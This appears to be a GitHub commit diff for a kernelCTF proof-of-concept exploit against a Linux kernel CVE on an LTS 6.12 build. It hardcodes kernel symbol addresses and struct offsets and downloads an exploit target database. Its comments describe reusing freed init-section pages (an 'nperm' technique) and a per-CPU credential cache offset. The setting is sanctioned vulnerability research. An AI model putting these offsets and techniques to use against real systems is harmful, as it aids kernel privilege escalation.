Skip to content

Commit eacd2ce

Browse files
committed
fix usage of kernel xdk
1 parent ec06a83 commit eacd2ce

7 files changed

Lines changed: 90 additions & 144 deletions

File tree

pocs/linux/kernelctf/CVE-2026-43074_lts/docs/xdk-db.md

Lines changed: 0 additions & 119 deletions
This file was deleted.

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/Makefile

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,8 +26,8 @@ exploit.o: exploit.cpp $(MODULE_HEADERS)
2626
modules/%.o: modules/%.cpp $(MODULE_HEADERS)
2727
$(CXX) $(CXXFLAGS) -c $< -o $@
2828

29-
# target_db.kxdb:
30-
# wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb
29+
target_db.kxdb:
30+
wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb
3131

3232
clean:
3333
rm -f exploit exploit_debug modules/*.o
Binary file not shown.

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_phase.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
#include "module_context.h"
55
#include "shared_core.h"
66

7+
#include <linux/keyctl.h>
78
#include <algorithm>
89
#include <array>
910
#include <atomic>

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/module_context.h

Lines changed: 41 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,12 @@
44
#include <cstdint>
55
#ifndef _GNU_SOURCE
66
#define _GNU_SOURCE
7-
#include <sys/user.h>
87
#endif
98

109
#include <fcntl.h>
1110
#include <getopt.h>
1211
#include <inttypes.h>
13-
#include <linux/keyctl.h>
12+
// #include <linux/keyctl.h>
1413
#include <pthread.h>
1514
#include <sched.h>
1615
#include <stdbool.h>
@@ -66,13 +65,14 @@
6665
#define DEFAULT_SPRAY_SIZE_KB (3600000ul)
6766
#define DEFAULT_SLOW_NPERM 0
6867

68+
#define DEFAULT_KERNEL_TEXT_BASE 0xffffffff81000000ul
69+
#define DEFAULT_PHYS_BASE 0xffff888000000000ul
6970
#define DEFAULT_NPERM_ADDR 0xffffffff85141000ul
71+
7072
#define DEFAULT_PANIC_ON_OOPS 0xffffffff84487654ul
7173
#define DEFAULT_EPNESTED_BASE 0xffffffff8460d4c0ul
7274

7375
#define DEFAULT_TYPES_SYSLOG 0xffffffff844a3620ul
74-
#define DEFAULT_KERNEL_TEXT_BASE 0xffffffff81000000ul
75-
#define DEFAULT_PHYS_BASE 0xffff888000000000ul
7676
#define DEFAULT_PCPU_CRED_JAR_OFFSET 0x3b6d0ul
7777
#define DEFAULT_EVENTPOLL_REFS_OFFSET 160ul
7878
#define DEFAULT_CONSOLE_MUTEX 0xffffffff84583900ul
@@ -90,22 +90,48 @@ struct ExploitLayout {
9090
// base addresses
9191
uintptr_t kernel_text_base = DEFAULT_KERNEL_TEXT_BASE;
9292
uintptr_t phys_base = DEFAULT_PHYS_BASE;
93+
94+
// Offset of a per-CPU pointer (accessed relative to the per-CPU base,
95+
// e.g. via $gs_base on x86_64).
96+
//
97+
// This object is dynamically allocated and therefore does not have a
98+
// corresponding kernel symbol. However, its offset within the per-CPU
99+
// region is highly stable in practice and remains the same across reboots.
100+
//
101+
// The reason is that the allocation path and initialization order of
102+
// per-CPU objects during boot are deterministic: the same set of per-CPU
103+
// allocations tends to occur in the same sequence, producing a consistent
104+
// layout and therefore a reproducible offset.
105+
uintptr_t pcpu_cred_jar_offset = DEFAULT_PCPU_CRED_JAR_OFFSET;
106+
107+
// ffffffff85125000 D __init_begin
108+
// ffffffff85639000 R __init_end
109+
//
110+
// __init_begin ~ __init_end corresponds to the kernel init section.
111+
// After kernel initialization completes, this region is freed and can be
112+
// reallocated for other kernel objects.
113+
//
114+
// Once the kernel base address is leaked, the location of this region becomes
115+
// predictable, making it a known address range usable by the nperm technique.
116+
//
117+
// We experimentally observed that some pages inside the init section are more
118+
// likely to be reallocated than others. The page at 0xffffffff85141000 was
119+
// chosen because it showed a relatively high success rate. In principle, any
120+
// page within [__init_begin, __init_end) may work, but the probability of
121+
// successful reuse differs across pages.
93122
uintptr_t nperm_addr = DEFAULT_NPERM_ADDR;
94123

95124
// image offsets
96-
uintptr_t panic_on_oops = DEFAULT_PANIC_ON_OOPS;
97-
uintptr_t epnested_mutex = DEFAULT_EPNESTED_BASE;
98-
uintptr_t types_syslog = DEFAULT_TYPES_SYSLOG;
99-
uintptr_t console_mutex = DEFAULT_CONSOLE_MUTEX;
100-
uintptr_t console_owner = DEFAULT_CONSOLE_OWNER;
101-
uintptr_t core_pipe_limit = DEFAULT_CORE_PIPE_LIMIT;
125+
uintptr_t panic_on_oops;
126+
uintptr_t epnested_mutex;
127+
uintptr_t types_syslog;
128+
uintptr_t console_mutex;
129+
uintptr_t console_owner;
130+
uintptr_t core_pipe_limit;
102131

103132
// field offsets
104-
uintptr_t eventpoll_refs_offset = DEFAULT_EVENTPOLL_REFS_OFFSET;
105-
uintptr_t epitem_fllink_offset = DEFAULT_EPITEM_FLLINK_OFFSET;
106-
107-
// runtime offset (but fixed)
108-
uintptr_t pcpu_cred_jar_offset = DEFAULT_PCPU_CRED_JAR_OFFSET;
133+
uintptr_t eventpoll_refs_offset;
134+
uintptr_t epitem_fllink_offset;
109135

110136
void load_from_xdk();
111137
};

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/xdk_layout.cpp

Lines changed: 46 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,69 @@
11
#include <cstdio>
22
#include <exception>
33

4-
#include <xdk/target/TargetDb.h>
5-
#include <xdk/util/incbin.h>
4+
#include <xdk/core.h>
5+
#include <xdk/postrip.h>
66

77
#include "module_context.h"
88

99
INCBIN(target_db, "target_db.kxdb");
1010

11+
namespace {
12+
13+
uint64_t image_offset(uint64_t absolute_address) {
14+
return absolute_address - DEFAULT_KERNEL_TEXT_BASE;
15+
}
16+
17+
void add_exploit_target_entries(TargetDb& kxdb) {
18+
Target target("kernelctf", "lts-6.12.82");
19+
20+
target.AddSymbol("panic_on_oops", image_offset(DEFAULT_PANIC_ON_OOPS));
21+
target.AddSymbol("epnested_mutex", image_offset(DEFAULT_EPNESTED_BASE));
22+
target.AddSymbol("types__syslog", image_offset(DEFAULT_TYPES_SYSLOG));
23+
target.AddSymbol("console_mutex", image_offset(DEFAULT_CONSOLE_MUTEX));
24+
target.AddSymbol("console_owner", image_offset(DEFAULT_CONSOLE_OWNER));
25+
target.AddSymbol("core_pipe_limit", image_offset(DEFAULT_CORE_PIPE_LIMIT));
26+
27+
target.AddStruct("eventpoll", 192,
28+
{{"refs.first", DEFAULT_EVENTPOLL_REFS_OFFSET, sizeof(uintptr_t)}});
29+
target.AddStruct("epitem", 120,
30+
{{"fllink.next", DEFAULT_EPITEM_FLLINK_OFFSET, sizeof(uintptr_t)}});
31+
32+
kxdb.AddTarget(target);
33+
}
34+
35+
} // namespace
36+
1137
void ExploitLayout::load_from_xdk() {
1238
try {
1339
TargetDb kxdb("target_db.kxdb", target_db);
40+
add_exploit_target_entries(kxdb);
1441
auto target = kxdb.AutoDetectTarget();
1542

1643
fprintf(stderr, "[xdk] detected target: %s %s\n", target.GetDistro().c_str(),
1744
target.GetReleaseName().c_str());
1845

19-
panic_on_oops = target.GetSymbolOffset("panic_on_oops") + kernel_text_base;
20-
epnested_mutex = target.GetSymbolOffset("epnested_mutex") + kernel_text_base;
21-
types_syslog = target.GetSymbolOffset("types__syslog") + kernel_text_base;
22-
console_mutex = target.GetSymbolOffset("console_mutex") + kernel_text_base;
23-
console_owner = target.GetSymbolOffset("console_owner") + kernel_text_base;
24-
core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + kernel_text_base;
46+
panic_on_oops = target.GetSymbolOffset("panic_on_oops") + DEFAULT_KERNEL_TEXT_BASE;
47+
epnested_mutex = target.GetSymbolOffset("epnested_mutex") + DEFAULT_KERNEL_TEXT_BASE;
48+
types_syslog = target.GetSymbolOffset("types__syslog") + DEFAULT_KERNEL_TEXT_BASE;
49+
console_mutex = target.GetSymbolOffset("console_mutex") + DEFAULT_KERNEL_TEXT_BASE;
50+
console_owner = target.GetSymbolOffset("console_owner") + DEFAULT_KERNEL_TEXT_BASE;
51+
core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + DEFAULT_KERNEL_TEXT_BASE;
2552

2653
eventpoll_refs_offset = target.GetFieldOffset("eventpoll", "refs.first");
2754
epitem_fllink_offset = target.GetFieldOffset("epitem", "fllink.next");
2855

56+
// print all loaded offsets for verification
57+
fprintf(stderr, "[xdk] loaded offsets:\n");
58+
fprintf(stderr, " panic_on_oops: 0x%lx\n", panic_on_oops);
59+
fprintf(stderr, " epnested_mutex: 0x%lx\n", epnested_mutex);
60+
fprintf(stderr, " types__syslog: 0x%lx\n", types_syslog);
61+
fprintf(stderr, " console_mutex: 0x%lx\n", console_mutex);
62+
fprintf(stderr, " console_owner: 0x%lx\n", console_owner);
63+
fprintf(stderr, " core_pipe_limit: 0x%lx\n", core_pipe_limit);
64+
fprintf(stderr, " eventpoll_refs_offset: 0x%lx\n", eventpoll_refs_offset);
65+
fprintf(stderr, " epitem_fllink_offset: 0x%lx\n", epitem_fllink_offset);
66+
2967
fprintf(stderr, "[xdk] successfully loaded exploit layout from XDK target database\n");
3068
} catch (const std::exception& e) {
3169
fprintf(stderr, "[xdk] failed to load exploit layout from XDK target database: %s\n",
Binary file not shown.

0 commit comments

Comments
 (0)